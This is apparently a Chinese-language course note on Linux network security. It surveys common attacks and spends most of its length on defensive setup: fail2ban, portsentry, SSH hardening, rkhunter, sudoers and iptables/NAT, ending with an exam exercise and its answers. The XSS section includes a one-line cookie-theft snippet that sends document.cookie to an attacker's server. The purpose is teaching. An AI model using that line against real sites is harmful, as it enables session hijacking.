# 網路安全 - Book mode: https://hackmd.io/@ncnu-opensource/book [TOC] ## 網路安全是什麼 - 對一般人來說,對網路安全比較常聽到的是 帳密被盜導致被亂登入、中了勒索病毒導致檔案都打不開、最近 fb 留言區常常會看到的奇怪連結等等。 而對於網管人員來說,可能會是遠端登入主機的安全性和一些常用服務的版本安全性等等。 這些都是網路安全的一部分,我們接下來會介紹其一點點運作的原理和要如何預防。 ## 常見的攻擊手法 ### 社交工程 - 利用人性弱點,應用簡單的溝通和欺騙技倆 - ex. - 給我帳號密碼,我幫你儲值 - 恭喜你中獎了,點擊這個網站來領獎 - 防範方式 - 多查證,不要輕易地給別人帳號密碼 - 不要亂點網站、檔案 ### 暴力破解 - 從 1 個字開始猜,每個字元都試試看 - 防範方式 - 帳號密碼取難一點,不要用預設的密碼 - 密碼複雜度 - 假設密碼長度 = x, 可能的字元為 y 如果字元是由英文大小寫和數字組成, y = 62 密碼長度為 10 個字元 總共要嘗試的就會是 $62^{10}$ - 所以其實也不需要用到像 google 那種建議的複雜密碼,基本上長度夠長(大概 8 個字)的英數字組合,其實複雜度就很高了 - 密碼種類 - 會有一個根基密碼,再依據不同網站加不同的字元 - ex. 根基密碼 = 123, 如果是 google 的帳號就是 google123 - 由多組密碼組成一組密碼 - ex. 共有三組,[ab, cd, ef],就可能是 abcd, abef.. - 由一句句子組成 - ex. iamgood - fail2ban 限制次數 ### 字典攻擊 - 用一般常用的單字(ex. admin、test)、該 ip 所處的地區的常用的單字猜,例如台灣可能就是 wang、lin - 防範方式 - 帳號密碼取難一點,不要只有常見的單字組成 - fail2ban 限制次數 ### 零時差攻擊 - 利用套件的漏洞(Vulnerability),且使用者還沒有更新到修補後的版本(patch),去攻擊(exploit),並執行惡意的程式碼(payload) - 小實驗 - https://www.exploit-db.com/exploits/50580 - 常見漏洞的種類 - RCE (Remote code Execution) - 遠端執行命令 - ex. eval - XSS (Cross-Site-Scripting) - 讓網站執行一些惡意的 javascript - 盜取 cookie 再用 ajax or axios 等等回傳到攻擊者的 server,使用者也不會發現 ```javascript= axios.post(url, {'cookie':document.cookie}); ``` - 實際範例的教學 - https://xss-game.appspot.com/level1 - 防範方式 - server 管理員 - 把 < > 編碼, 不要讓前端直接執行 tag - CSRF (Cross-Site Request Forgery) - 利用社交工程,讓受害者點惡意網站,惡意網站裡面去抓受害者的 cookie,再發 request(可以用 ajax、axios 就不會跳轉,讓受害者無法發現) 到那個 cookie 對應的網站做一些有了受害者權限才能做的事 ![](https://i.imgur.com/EtnD0WO.png) image source : https://dotblogs.com.tw/joysdw12/2013/09/16/asp-net-cross-site-request-forgery - ex. 某個網站的 form 用 get - https://example.com/delete?id=3 - 防範方法 - 一般使用者 - 不要點奇怪的網站 - 盡量不要保持登入,登入完就登出(clear cookie) - server 管理員 - 檢查是否是在相同 domain 下送出的 request - 就不能跨站送 request 了 - csrf token - 每個 form 每次新的頁面都會有一組 token,後端會先驗證此 token 是否一致 ## 得到主機資源可以幹什麼 - 加密資料後勒索 - 預防方式 - 備份 - 可以被拿來當作 mail server 的跳板機,一直送垃圾或病毒郵件給別人 - 處理方式 : - 用防火牆把對外的一些 port 先關掉 - `sudo netstat -anpt` : 看一下是否有奇怪的 port 有大量流量一直到奇怪的 ip 的 25 port(mail server) - `sudo ps aux | grep program_name` : 找後門那隻後門程式的位置 - 被拿來挖擴 - 處理方式 : - 用防火牆把對外的一些 port 先關掉 - `sudo netstat -anpt` : 看一下是否有奇怪的 port 有大量流量一直到奇怪的 ip 的 443 port - `sudo ps aux | grep program_name` : 找後門那隻後門程式的位置 ## 簡單檢查 - 有空看一下有沒有奇怪的程式在跑 - `ps aux` - 看一下 cpu、記憶體 - `top` - 查看版本的漏洞 CVE detail : https://www.cvedetails.com/ - exploit 的程式資料庫 - www.exploit-db.com - 檢查有沒有被當作跳板機 - 如果主機被當作跳板機去攻擊別人,可能會被別人 ban 掉,所以可以藉由這個去看是否有在攻擊別人 - 中間的 ip 換成要檢查的 : https://www.blocklist.de/en/view.html?ip=163.22.17.179&cronjob=refreshcache - reference - https://www.webteach.tw/?p=3162 - reference - https://kknews.cc/code/le8ggjg.amp - https://ithelp.ithome.com.tw/articles/10291231 - https://medium.com/hannah-lin/zero-day-%E9%9B%B6%E6%99%82%E5%B7%AE%E6%94%BB%E6%93%8A-55bb3843ec9f - https://www.youtube.com/watch?v=MMMkvHwqPRY&t=1560s - https://ithelp.ithome.com.tw/users/20115853/ironman/3371 - https://security.stackexchange.com/questions/34419/what-is-the-difference-between-exploit-and-payload - https://wordpress.stackexchange.com/questions/231797/what-is-nonce-and-how-to-use-it-with-ajax-in-wordpress ## fail2ban - 介紹 - 就像上面提到,攻擊者可以藉由暴力破解來找到真正的帳號密碼,因為若沒有限制失敗的次數,攻擊者就可以一直試,所以需要這個工具去限制失敗的次數。 - 不過通常也不會限制一次失敗就不能登入,因為可能是正常的使用者不小心打錯了。 - 安裝 : `sudo apt install fail2ban` - 啟動 : `sudo systemctl start fail2ban` - 預設會先保護 sshd - ssh daemon(守護神) 相當於 ssh 的 server,會一直跑在後台讓 client 可以 ssh 進來 - 開機啟動 : `sudo systemctl enable fail2ban` - 設定檔 : - 預設路徑 : /etc/fail2ban/jail.conf - 先複製設定檔成 jail.local,因為如果更新 fail2ban,jail.conf 會被更新,而且 jail.local 會覆蓋 jail.conf,所以以後的設定檔就直接去改 jail.local 就可以: - `sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local` - [default] 是所有服務共用的設定,如果是針對特定的服務如 [sshd],若有重疊的部分會直接覆蓋 [default] 的。但若要啟用特定服務,要把 enabled = true。 - ex. sshd ```conf= [DEFAULT] ignoreip = 127.0.0.1/8 999.999.999.0/24 888.888.888.0/24 [sshd] enabled = true port = ssh # 如果 ssh 開在別的 port 這邊要改成改的 port filter = sshd logpath = /var/log/auth.log maxretry = 5 findtime = 600 bantime = 1200 ``` - 限制設定 : - ex. 預設 : 在 10 分鐘內(findtime) 登入失敗次數超過 5 次(maxretry),就 ban 10 分鐘(bantime) ![](https://i.imgur.com/1Ba2iAn.png) - 沒寫單位是秒,分鐘是 m,小時是 h,天是 d - 白名單 : 有多個就用空白隔開 ```config= ignoreip = 192.168.56.1 192.168.56.2 ``` ![](https://i.imgur.com/64OLEQk.png) - filter - 路徑 : /etc/fail2ban/filter.d - 用途 : 用來過濾哪一些是此服務失敗的條件(failregex),fail2ban 預設會有各種服務(ex. ssh、nginx)的 filter 檔 - ex. ssh 的過濾條件 - ![](https://i.imgur.com/rbVjhFJ.png) - ![](https://i.imgur.com/Jccu8Nm.png) - filter 檔的 python regex 語法 - 基本語法 - ^ : 比對字串的開始位置 - $ : 比對字串的結束位置 - ? : 問號前的字元可以出現 0 次或一次。 - ex. colou?r = colour、color - 教學 : - https://docs.python.org/3/library/re.html - https://www.cyut.edu.tw/~ckhung/b/re/ - http://it-life.puckwang.com/2016/03/regular-expression.html - action - 用途 : 用來決定超過 maxretry 後要採取的行為,預設是只有封鎖 ip - 寄信 : - 兩種不同寄信內容 - action_mw : 封鎖後寄信通知 - action_mwl : 信還會含有whois資訊 - 更改 action : `sudo vi /etc/fail2ban/jail.local` - ![](https://i.imgur.com/J4lzoLR.png) - 更改寄達信箱 : `sudo vi /etc/fail2ban/jail.local` - ![](https://i.imgur.com/6RSkz72.png) - 結果 - ![](https://i.imgur.com/m99WK2i.png) - 查看 fail2ban 管理的項目 `sudo fail2ban-client status` ex. 目前有 ssh 被管理 ![](https://i.imgur.com/VaXU5CX.png) - 查看被管理的項目的狀況(包括哪些 ip 被鎖) - `sudo fail2ban-client status sshd` ![](https://i.imgur.com/cYe61dv.png) - 可以去 /var/log/auth.log 看被登入的狀況(成功和失敗都會記錄) - 查看被鎖的 ip 和時間(起始到結束) : `sudo fail2ban-client get sshd banip --with-time` - 手動解鎖 ip : - 單一 : `sudo fail2ban-client set sshd unbanip x.x.x.x` - 全部 : `sudo fail2ban-client set sshd unbanip --all` - 手動增加要封鎖的 ip : - `sudo fail2ban-client set sshd banip a.a.a.a x.x.x.x` - 手動調整白名單 : - 新增 : `sudo fail2ban-client set sshd addignoreip x.x.x.x` - 刪除 : `sudo fail2ban-client set sshd delignoreip x.x.x.x` - reference - https://crowsnest1217.com/%E5%AD%B8%E7%BF%92%E8%88%87%E5%88%86%E4%BA%AB/fail2ban-setting.html - https://newtoypia.blogspot.com/2016/04/fail2ban.html - https://net.nthu.edu.tw/2009/security:fail2ban ## portSentry - 介紹 - 因為攻擊者可以用 nmap 之類的軟體掃主機的 port,會暴露主機的一些資訊,ex. 某些 port 可以被掃出來是哪些服務、主機的資訊(ex. os) 所以要對主機是否被掃描做監控,就可以利用這個工具。 - 安裝 - `sudo apt install portsentry` - 啟動 - `sudo systemctl start portsentry` - `sudo portsentry -atcp` - -a : 會檢查主機是否有正在用要檢查的 port,若有就不要監聽該 port - 設定檔 - path : `/etc/portsentry/portsentry.conf` - 針對 tcp、udp 的掃描進行動作。 - ![](https://i.imgur.com/rvsvbSk.png) - 0 : 不要限制掃描 - 1 : 限制掃描(通常是用這個) - 2 : 用自己寫的腳本對掃描進行處置 - 要監聽的 port - 有在用的 port 不要監聽。ex. 80 443 - 基本上用下面這個推薦的就夠了 - ![](https://i.imgur.com/eJQ1oBB.png) - 對於攻擊者如何處理 - 直接用防火牆把該 ip 的封包都 drop掉 ![](https://i.imgur.com/qsxqxi2.png) - 結果 - 受害者 - ![](https://i.imgur.com/4hOXPfG.png) - 把攻擊 ip 加入 /etc/hosts.deny - ![](https://i.imgur.com/lfIU0dB.png) - 結果 - 受害者 - ![](https://i.imgur.com/kRsyJtu.png) - 攻擊者 - ![](https://i.imgur.com/eBKt7Yu.png) - ignore 檔 - path : `/etc/portsentry/portsentry.ignore.static` - 因為 `/etc/portsentry/portsentry.ignore` 會因 restart 而刷新,然後會依 static 檔建一個新的 - 新增白名單 ip - ![](https://i.imgur.com/8rTlgMX.png) - log - path - `/var/lib/portsentry/` - portsentry.blocked.tcp - 現在 block 的紀錄(會因 restart 而刷新) - ![](https://i.imgur.com/JF5RGr9.png) - portsentry.blocked.udp - 現在 block 的紀錄(會因 restart 而刷新) - portsentry.history - 過去到目前 block 的紀錄 - ![](https://i.imgur.com/6yd4ZZz.png) - refernence - https://hackmd.io/@ncnu-opensource/B17djyQs8#PortSentry ## 更改 ssh 登入限制 ### 更改 ssh port - 理由 - 預設的 22 port 容易被駭客用暴力破解一直攻擊,雖然有些還是會逐 port 找,但相對較安全 - ex. 一個有對外 ip 的主機開個幾個小時 - ssh port 在 22,基本上都是中國的 ip ![](https://i.imgur.com/IzEIXFh.jpg) - ssh port 在其他 port ![](https://i.imgur.com/5keCLZa.png) - 更改方式 - 決定要換的 port - 因為有些掃描主機的工具(ex. nmap)預設是掃描 1~1023 比較常用的 port,所以推薦改成 1024~65535。 - nmap - 可以掃描一台主機有哪些 port 是對外開放的 - 安裝 - `sudo apt install nmap` - 預設掃描的 port : 1-1023 - 常用參數 - -p : 指定掃的 port - 單個 : `nmap -p 80 192.168.1.1` - 範圍 : `nmap -p 80-200 192.168.1.1` - -A : 作業系統與各種服務的版本 - reference - https://blog.gtwang.org/linux/nmap-command-examples-tutorials/ - 先找找看要換的 port 是不是有在用了 - ex. 要換用 21042 : `sudo netstat -tupln | grep 21042` - 改成要換的 port - `sudo vi /etc/ssh/sshd_config` - ![](https://i.imgur.com/unwWECj.png) - 開防火牆 port,我是用 ufw - 如果還沒開 : `sudo ufw enable` - 記得加一些會用的 port,ex. 443, 80 - 看一下 : `sudo ufw status` - 加入新的 ssh 的 port : `sudo ufw allow 21042/tcp` - `sudo ufw reload` - `sudo service sshd restart` - reference - https://www.cyberciti.biz/faq/howto-change-ssh-port-on-linux-or-unix-server/ - https://xenby.com/b/258-%E6%95%99%E5%AD%B8-ufw-%E9%98%B2%E7%81%AB%E7%89%86%E8%A8%AD%E5%AE%9A%E8%BB%9F%E9%AB%94%E6%93%8D%E4%BD%9C%E6%8C%87%E5%8D%97 ### 限制 ssh 登入 ip - 一般規則 - 語法 - sshd(其他服務也可):(ip/netmask) - /etc/hosts.allow : 可通過的 ip ```config= sshd:163.22.32.0/255.255.255.0 163.22.17.179 ``` - /etc/hosts.deny : 要擋掉的 ip ```config= sshd:ALL ``` - 兩個檔案規則都不符合 : 通過 - 另一種寫法,都寫在一起 - `sudo vi /etc/hosts.allow` - 語法 - sshd:(ip/netmask):(allow||deny) - ex. - ![](https://i.imgur.com/2BKMjUf.png) - reference - https://hackmd.io/@ncnu-opensource/B17djyQs8#%E7%99%BC%E7%8F%BE%E5%95%8F%E9%A1%8C%E5%88%86%E6%9E%90-log- ### ssh 取消密碼登入,只能用金鑰 - 理由 - 開著 port 讓別人連總是有一點點風險 - 產生金鑰 : `ssh-keygen -t rsa` - 私鑰(自己留) : `.ssh/id_rsa` - 公鑰(給別人) : `.ssh/id_rsa.pub` - 伺服器端加入本地的公鑰 : - 複製本地的公鑰 : `sudo vi ~/.ssh/id_rsa.pub` - 貼到伺服器端 :`sudo vi ~/.ssh/authorized_keys` - 拒絕用密碼登入 - `sudo vi /etc/ssh/sshd_config` - `PasswordAuthentication no` - ![](https://i.imgur.com/tjjJ52j.png) - `sudo service ssh restart` - 結果 - ![](https://i.imgur.com/OJZcTSG.png) - reference - https://newtoypia.blogspot.com/2017/04/watertight-ssh.html - https://hackmd.io/@ncnu-opensource/book/https%3A%2F%2Fhackmd.io%2F7kiV5QwqT3y7L46EZF8DQQ#%E4%BD%BF%E7%94%A8%E6%86%91%E8%AD%89%E4%BE%86%E9%81%A0%E7%AB%AF%E9%80%A3%E7%B7%9A ## Rootkit - rootkit : 藉由機器上某些服務的漏洞來取得 root 權限的程式,可能藉由改某些程式(ex. ps 等)來隱藏自己 - 如何隱藏 - 如果取得 root 權限,可以藉由載入惡意模組(可以過濾掉特定 pid),重新編譯核心,然後再呼叫惡意模組,輸入要過濾掉的 pid - reference - https://github.com/DanielNiv/Process-Hiding-Rootkit - 若中了的解決方法 : 因 rootkit 善於隱藏,所以只能備份後重灌系統 ### rkhunter - 找 rootkit 方式 - 利用檔案獨有的指紋資料(md5 編碼),rkhunter 一開始會有各種服務的原始的指紋資料,只要檔案有被動任何一個字,就會和原本的編碼不一樣。 - md5 : 雜湊,相同內容會得到同一組編碼,不相同內容很大機率不會得到同組編碼 - ![](https://i.imgur.com/CD6pBfs.png) - reference - https://ithelp.ithome.com.tw/articles/10193762 - 檢查重要二進位檔案的權限 : - 因為系統實際在執行的是編譯後的二進位檔案,這些通常會是 755 的權限,不能被其他人更改。但 rootkit 為了要方便控制系統,所以可能直接改這些二進位的檔案的權限成 777 - 檢查隱藏檔案(.xxx) - ![](https://i.imgur.com/Mol61iZ.png) - 檢查有沒有被奇怪的程式占用的 port - 檢查有沒有特定惡意程式的檔名或目錄 - 安裝 - `sudo apt install rkhunter` - 執行 - `sudo rkhunter` - 常用參數 - `--checkall (-c)` : 全系統全部項目都檢測 - `-cronjob` : 用 crontab 自動跑 - ex. 每天 8 點 30 分執行一次 - `30 8 * * * rkhunter --checkall --cronjob` - `--report-warnings-only` : 只報出有問題的,正常的不顯示 - `--skip-keypress` : 自動執行,不用一部分檢查完再按 enter 才能檢查下一部分 - `--versioncheck` : 用最新版的 rkhunter - reference - https://linux.vbird.org/linux_server/others/0420rkhunter.php#whatisrk ## sudoers ### 概述 * 在有 sudo 之前是用`su`切換到超級使用者,但必須知道超級使用者的密碼,而且用 su 的話身分會變成超級使用者,無法追查真正的使用者,用 su 也無法管理各使用者能做什麼事 * 有 sudo 之後只需在下指令後輸入使用者自己的密碼 * sudoers 紀錄使用者或群組是否有以 sudo 執行對應指令的權限 * sudo 運作流程: 1. 使用者以 sudo 執行指令時,會先讓使用者輸入自己的密碼 2. 密碼輸入成功後系統會去 /etc/sudoers 裡找這個使用者是否有以 sudo 執行這個指令的權限 3. 確認有權限執行才會用 sudo 執行指令,否則會報錯 * 沒被列在 sudoers 裡 : ![](https://i.imgur.com/bhz4dOx.png) ### 使用方法 #### 方法1 : * 先用`su`切換超級使用者 * 用`visudo`編輯 /etc/sudoers * visudo 會用系統設定的編輯器開啟 /etc/sudoers,保存後會自動偵錯,避免指令錯誤 * 更改使用編輯器 : `sudo update-alternatives --config editor` #### 方法2 : * 把使用者加到 sudo 群組 (不建議) :::warning `sudo adduser tommy sudo` ::: ### sudoers 規則 ![](https://i.imgur.com/GjtIFrE.png) |使用者名稱|主機名稱|可切換的帳號:群組|可執行指令的執行檔絕對路徑 |-----|----|--------|------| |root|ALL|(ALL:ALL)|ALL * 可以在指令後面接針對的參數 * 個別帳號設定如上 * 群組設定則在使用者名稱前面加% * 如果有多個符合條件的情況(該使用者有符合使用者也符合群組,那會以最後一筆條件為準) ![](https://i.imgur.com/70Jo0bA.png) ### 新增規則 * 讓使用者 user1 可以執行 sudo iptables ``` user1 ALL=(ALL:ALL) /usr/sbin/iptables ``` * 讓使用者 user1 可以不用輸入密碼下 sudo (不安全) ``` user1 ALL=(ALL:ALL) NOPASSWD:ALL ``` * 讓使用者 user1 只能更改除了 root 使用者的密碼 ``` user1 ALL=(ALL:ALL) !/usr/bin/passwd, /usr/bin/passwd [A-Za-z0-9]*, !/usr/bin/passwd root ``` * `!`表示不能執行後面的指令,所以 user1 可以執行`sudo passwd {其他user}`,但不能執行`sudo passwd` 和 `sudo passwd root`(這兩個指令都是指修改 root 密碼) ### reference * https://linux.vbird.org/linux_basic/centos7/0410accountmanager.php * https://www.digitalocean.com/community/tutorials/how-to-edit-the-sudoers-file * https://jerrynest.io/xxx-is-not-in-the-sudoers-file/ * https://askubuntu.com/questions/100051/why-is-sudoers-nopasswd-option-not-working ## iptables ### 概述 * Linux 上的防火牆套件 * 防火牆 : 過濾封包,保護我們的網路環境 * 利用 Linux kernel 的 Netfilter 框架來實現過濾封包(阻擋或允許)、轉傳封包、或是更改封包內容等防火牆功能 * iptables 處理 IPv4 封包, IPv6 封包則是用 ip6tables ### 架構 * 表(table)、鏈(chain)、規則(rule) * table 裡有 chain,chain 裡有 rule,每條 rule 都有一個 target ### 運作流程範例 ![](https://i.imgur.com/X3x5Wm4.png) ### table 總共有 5 種 table * filter : 預設使用的表,用於過濾封包(常用) * nat : 用於 IP 或 port 轉換(常用) * mangle : 用於修改封包內容(ex : 改封包 header) * [raw](https://lyt0112.pixnet.net/blog/post/319947973-iptables%E5%9B%9B%E5%80%8B%E8%A1%A8%E8%88%87%E4%BA%94%E5%80%8B%E9%8F%88%E9%96%93%E7%9A%84%E9%97%9C%E4%BF%82) : 用於停止追蹤封包 * security : 用於設定 SELinux 對單個封包或整個連線的處理 :::info ### [SELinux](https://linux.vbird.org/linux_basic/centos7/0440processcontrol.php#selinux) (Security Enhanced Linux) : * 安全式增強 Linux * 主要用於 RedHat、Fedora * 是除了判斷 rwx 權限的另一層防護,檢查 process 是否有權限去存取資源 * 為了避免開放服務的rwx設成777導致服務的process能任意存取其他檔案 * Subject (process) 要取得 Object (資源) 的流程 : ![](https://i.imgur.com/fHLjxDQ.gif) * Subject 如果通過設定的 Policy,會再比對兩者的 Security Context(安全性本文)是否都有紀錄彼此,都通過才能存取到 Object * Security Context 是用標記來分辨 Subject 和 Object * Security Context : 紀錄什麼類別的 Subject 可以存取什麼類別的 Object , 什麼類別的 Object 可以被什麼類別的 Subject 存取 * SELinux 模式 : * Disable : 關閉,不會限制存取 * Permissive : 寬容模式,跟關閉一樣不會限制存取,但會記錄 log * Enforcing : 強制模式,會限制存取 ![](https://i.imgur.com/zbG3aLq.jpg) ![](https://i.imgur.com/H3JcKJn.jpg) ### AppArmor * 主要用於 Ubuntu、SUSE * 比 SELinux 簡單 * 以檔案路徑來分辨檔案 * 以 process 絕對路徑為名稱建立規則設定檔 (在 /etc/apparmor.d 目錄下) * 通過規則的 process 才能存取到資源 * AppArmor 模式 : * Complain/Learning : 學習模式,不會限制存取,但會記錄log * Enforce : 執行模式,會限制存取 ![](https://i.imgur.com/Y4XN2b8.png) ::: ### chain 總共有 5 種 chain * INPUT : 進入主機的封包 * OUTPUT : 主機送出的封包 * FORWARD : 轉送 (不會進入本機) 的封包 * PREROUTING : 進行路由前 (封包決定要往哪邊走之前) * POSTROUTING : 進行路由後 (封包決定要往哪邊走之後) ![](https://i.imgur.com/zIHqiY8.png) * filter OUTPUT和nat OUTPUT差異 : * filter OUTPUT : 是否同意封包從主機出去 * [nat OUTPUT](https://superuser.com/questions/1228091/what-do-input-and-output-chains-in-nat-table-do) : 封包要從哪裡出去 ### rule * 設定給 iptables 的條件,若符合該 rule 就會執行相應的 action ![](https://i.imgur.com/GpE5clw.png =300x) > 若符合排在前面的 rule ,就會去執行相應的 action ,不會再往下去執行(類似 if , else if) ### policy * 預設封包處理方式,如果都沒有符合的 rule 就會執行這裡 ### target * 進行的動作 * ACCEPT : 允許 * REJECT : 拒絕,會告知發送者封包被拒絕 * DROP : 丟掉,發送者不會知道 * SNAT : 修改封包來源 IP * DNAT : 修改封包目的 IP * MASQUERADE : 動態 SNAT * LOG : 紀錄連線到 log * RETURN : 返回進入的 rule 位置,繼續判斷下面的 rule ### 操作 * 所有指令都要加 sudo * why? 因為操作 iptables 要使用到 kernel 的 Netfilter , 所以要用超級使用者權限才能操作 #### 查看 rule ``` sudo ipatables [-t table] -L [-nv --line-numbers] ``` * `-t` : 選擇 table,預設是 filter * `-L` : 列出 rule * `-n` : 不把 IP 位址解析成域名,所以速度較快 * `-v` : 列出更多資訊 * `--line-numbers` : 顯示編號 ![](https://i.imgur.com/IUq1qWD.png) * target : 進行的動作 * prot : 針對的封包使用的協定 * opt : 額外選項說明 * source : 針對的來源 IP * destination : 針對的目的 IP #### 更改 policy ``` sudo iptables [-t table] -P <INPUT, OUTPUT, FORWARD...> <ACCEPT, DROP, ...> ``` * `-t` : 選擇 table * `-P` : policy , 後面接 chain 和 target * 把 filter table 的 INPUT policy 更改為 DROP ![](https://i.imgur.com/wHxwio8.png) ![](https://i.imgur.com/Xk1Lsak.png) #### 新增rule ``` sudo iptables [-t table] [-A or -I] <INPUT, OUTPUT,FORWARD...>\ -j <ACCEPT, DROP, REJECT> [-i -o -p -s -d...] ``` * `-t` : 選擇 table,後面接 table 名稱 * 新增 * `-A` : append,規則加在最後面,後面接 chain 名稱 * `-I` : insert,規則加在最前面,後面接 chain 名稱 * 動作 * `-j` : jump,後面接動作(target) * 網卡 * `-i` : in interface,封包從哪個網卡進來 * `-o` : out interface,封包從哪個網卡出去 * IP位址 * `-s` : source address,封包來源IP位址 * `-d` : destination address,封包目的IP位址 * `!` : 可用在 -s 和 -d 之後,表示非該 IP * 協定 * `-p` : protocol,封包使用什麼協定(tcp、udp、ICMP...) * port,當 -p 指定 tcp 或 udp 時可以使用 * `--sport` : source port,封包來源 port * `--dport` : destination port,封包目標 port * 模組 * `-m` : 呼叫模組,ex: conntrack 模組 * 記錄連線狀態 * NEW : 新建立的連線 * ESTABLISHED : 已建立的連線(雙向都得到回應) * RELATED : 新的連線,但與已建立的連線相關 * INVALID : 無法辨認或惡意的連線 * UNTRACKED : 在 raw 表已被關閉追蹤 * 範例 : ![](https://i.imgur.com/wi1hXY0.png =300x) * iptables 在 http server 主機上,對外網卡是 eth1 * 讓 Good user 可以連線到 http server ``` sudo iptables -A INPUT -i eth1 -s 192.168.0.101 -j ACCEPT ``` * 讓 Bad user 無法連線到 http server ``` sudo iptables -A INPUT -i eth1 -s 192.168.0.102 -j DROP ``` #### 刪除 rule * `-D` : Delete,刪除 chain 裡對應編號的 rule ``` sudo iptables [-t table] -D <INPUT,OUTPUT,FORWAED...> <rule 編號> ``` * `-F` : Flush,清除 chain 裡全部的 rule ``` sudo iptables [-t table] -F <INPUT,OUTPUT,FORWARD...> ``` #### 儲存 iptables 設定 * iptables 不會自動保存和載入設定,關機就會消失 * 把設定 save 到檔案裡再 restore 回去 * 先建立檔案 iptables.conf * `iptables-save` 可以輸出 iptables 目前的設定 * `iptables-save > iptables.conf` 把輸出的結果寫入 iptables.conf * `iptables-restore < iptables.conf` 把 iptables.conf 的內容載入到 iptables * 或是用 [iptables-persistent](https://magiclen.org/ubuntu-server-iptables-save-permanently/) * `sudo apt install iptables-persistent` * `sudo bash -c "iptables-save > /etc/iptables/rules.v4"` * 會在開機時自動載入 iptables 設定 #### iptables-apply * 嘗試設定新的 iptables 規則,會詢問使用者 y/N,選 y 就會套用,選 N 或太長時間沒回應就會變回舊的 * `sudo iptables-apply iptables設定檔` * 預設 rulefile (iptables-save 輸出的內容) 路徑 : /etc/network/iptables.up.rules * 可以避免使用 ssh 連線到主機設定時不小心把 ssh 連線 DROP 掉的情況 ### NAT > Network Address Translation > 內網和外網 IP 位址之間的轉換 > 可以讓多個內網 IP 主機共用一個外網 IP ![](https://i.imgur.com/AGAcKFX.png) * IPv4 的位址數量不夠用 -> 使用內網 IP * 外網 IP 無法連線內網 IP (找不到) -> NAT 來轉換 * 主要有 SNAT、DNAT、MASQUERADE #### SNAT > Source NAT > 在路由後(POSTROUTING)將來源 IP 從內網 IP 位址修改為 NAT 主機的外網 IP 位址 ##### 情境 : 內網主機(192.168.1.100)要連線到外網(域名 tw.yahoo.com) ![](https://i.imgur.com/BbOi9ph.png) 1. 來源 192.168.1.100 傳遞封包給NAT主機 2. NAT 發現目的地不是內網,透過路由轉到外網網卡 3. 因為內網和外網不能互通,所以透過POSTROUTING 把來源 IP 從內網 IP 換成外網 IP ,同時會將這兩個來源 IP 寫入暫存記憶體 ##### 情境 : 外網(域名tw.yahoo.com)回傳封包給內網主機(192.168.1.100) ![](https://i.imgur.com/yZAnOim.png) 4. 來源外網傳遞封包給 NAT 主機 5. NAT 主機收到外網的回應封包後,會分析封包的序號,並比對前面存到暫存記憶體的資料,就會發現這個封包是內網主機(192.168.1.100)之前傳送出去的,就會透過 PREROUTING 把目的 IP 從外網 IP 改成內網主機的 IP 192.168.1.100 6. 封包會傳送到 192.168.1.2 這個內網網卡,然後再傳送到目的地192.168.1.100 的內網主機(完成連線!) #### MASQUERADE > 動態SNAT * SNAT 是靜態的,必須在 rule 手動設定外網 IP * 如果外網 IP 變動,SNAT 就需要手動去修改(很麻煩) * MASQUERADE 會自己去找能連上外網的網卡,它的外網 IP 是多少來當作 SNAT 的來源 IP #### DNAT > Destination NAT > 在路由前(PREROUTING)將來自外網訪問的目的 IP 位址從外網 IP 位址修改為內網主機的IP位址,就能讓外網連線到內網的主機 ##### 情境 : 外網主機(61.xx.xx.xx)發送請求給 NAT 主機的80 port (對應到內網主機(192.168.1.210) 的 80 port 上的 WWW 服務) ![](https://i.imgur.com/Yfu3Dja.png) 1. 外部主機要連到WWW服務,需要先連到NAT主機上 2. NAT 主機已經有設定要分析 80 port 的封包,所以當它接收到封包後,會用 PREROUTING 將目的 IP 從外網 IP 改成內網 IP,也就變成連線到 192.168.1.210 的 80 port,同時紀錄封包資訊 3. 封包會傳送到 192.168.1.2 這個內網網卡,然後再傳送到目的地192.168.1.210 的 80 port (連線到 WWW 服務!) 4. 之後在回傳封包給外網主機時,會比對前面儲存的封包資訊,把來源 IP 從內網 IP 換成外網 IP,就可以傳送回去了 ### DMZ > Demilitarized Zone (非軍事區) >將內網中要開放的伺服器與沒有要開放的主機分隔開來 >讓外網有限制地存取內網資源 >當 DMZ 被攻擊時,不開放的內網主機是安全的 ![](https://i.imgur.com/dK7Woma.png) * 要開放的主機放在 DMZ , 不開放的主機放在 LAN * 外網、內網可以直接連線到 DMZ,但 DMZ 不能直接連線內網 * 所以當 DMZ 被攻擊時,因為DMZ 不能直接連線到 LAN ,所以 LAN 還會是安全的 ### 期中題目實作 ![](https://i.imgur.com/IcWbQk6.png) #### 情境 * 模擬 NAT 實作 * 一台虛擬機當作 NAT 主機 * 一台虛擬機當作內網的 webserver * 本機當作外網主機 #### 設定網卡 * NAT 主機網卡選橋接介面卡和主機介面卡 * webserver 網卡選主機介面卡 #### 設定環境 * 開啟 NAT 主機 kernel 轉發功能 ``` sudo vim /etc/sysctl.conf ``` 修改 net.ipv4.ip_forward=1,如下: ![](https://i.imgur.com/yyF2S3b.png) 接著下`sudo sysctl -p`讓 kernel 從檔案載入設定 (預設是 /etc/sysctl.conf ) * 設定 webserver gateway ``` sudo route del default sudo route add default gw {NAT主機內網IP} ``` * 讓外網(本機)找得到 webserver ``` sudo iptables -t nat -A POSTROUTING -j MASQUERADE ``` * 同意現有、相關連線轉送 ``` sudo iptables -A FORWARD -m conntrack --ctstate "ESTABLISHED,RELATED" -j ACCEPT ``` **1. 開放 NAT 的 80 port,透過連到 NAT 80 port,可以連到 webServer 的 80 port** **2. 開放 NAT 的 2222 port,連到此可以 ssh 進webServer** **3. 禁止外部 ssh 進 NAT** **4. webServer 到 NAT 的流量都允許** **5. 其餘進來的流量或轉發都禁止** #### 解答 1. 開放 NAT 的 80 port,透過連到 NAT 80 port,可以連到 webServer 的 80 port ``` sudo iptables -t nat -I PREROUTING -p tcp --dport 80 -j DNAT --to {webServer IP}:80 sudo iptables -I FORWARD -d {webServer IP} -p tcp --dport 80 -j ACCEPT ``` 2. 開放 NAT的 2222 port,連到此可以 ssh 進 webServer ``` sudo iptables -t nat -I PREROUTING -p tcp --dport 2222 -j DNAT --to {webServer IP}:22 sudo iptables -I FORWARD -d {webServer IP} -p tcp --dport 22 -j ACCEPT ``` 3. 禁止外部 ssh 進 NAT ``` sudo iptables -I INPUT -i {NAT 內網網卡} -p tcp --dport 22 -j DROP ``` 4. webServer 到 NAT 的流量都允許 ``` sudo iptables -I INPUT -s {webServer IP} -j ACCEPT ``` 5. 其餘進來的流量或轉發都禁止 ``` sudo iptables -A INPUT -j DROP sudo iptables -A FORWARD -j DROP ``` * filter table 結果圖 